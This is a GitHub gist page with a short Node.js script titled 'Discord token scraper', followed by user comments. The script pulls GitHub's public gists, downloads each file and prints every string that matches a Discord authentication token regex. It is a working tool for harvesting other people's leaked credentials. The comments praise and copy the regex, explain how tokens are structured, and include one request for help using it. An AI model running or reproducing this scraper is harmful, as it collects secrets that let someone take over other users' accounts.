Skip to content

Instantly share code, notes, and snippets.

@y21
Created October 28, 2018 13:16
Show Gist options
  • Star 6 You must be signed in to star a gist
  • Fork 2 You must be signed in to fork a gist
  • Save y21/2209ac23ee112b20c9a90ab4ca60ff74 to your computer and use it in GitHub Desktop.
Save y21/2209ac23ee112b20c9a90ab4ca60ff74 to your computer and use it in GitHub Desktop.
Discord token scraper (gists)
const fetch = require("node-fetch");
const regex = /[MN][A-Za-z\d]{23}\.[\w-]{6}\.[\w-]{27}/g;
fetch("https://api.github.com/gists")
.then(r => r.json())
.then(r => {
for (const gist of r) {
fetch(gist.files[Object.keys(gist.files)[0]].raw_url)
.then(rr => rr.text())
.then(rr => {
for (const match of (rr.match(regex) || [])) {
console.log(match);
}
});
}
});
@stefan-reich
Copy link

Nice, thanks, I'll copy your regexp

@EastArctica
Copy link

Nice scraper, I'm also gonna copy that regexp, Had to remove the [MN] though.

@meisZWFLZ
Copy link

Super useful regexp, thank you, wonder what the characters before the last dot mean. they don't change when you regenerate your token, possibly connected to your application id?

@HAHALOSAH
Copy link

the first letters before the first dot is the base64 encoded user id, so yes

@meisZWFLZ
Copy link

What about the other static characters after the user first dot and before the last dot?

@Picoseconds
Copy link

Those are a timestamp

@Unruly001
Copy link

Can you put me through how to use this? I love to learn

@Iinksafe
Copy link

Awesome RegExp! I've copied it too.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment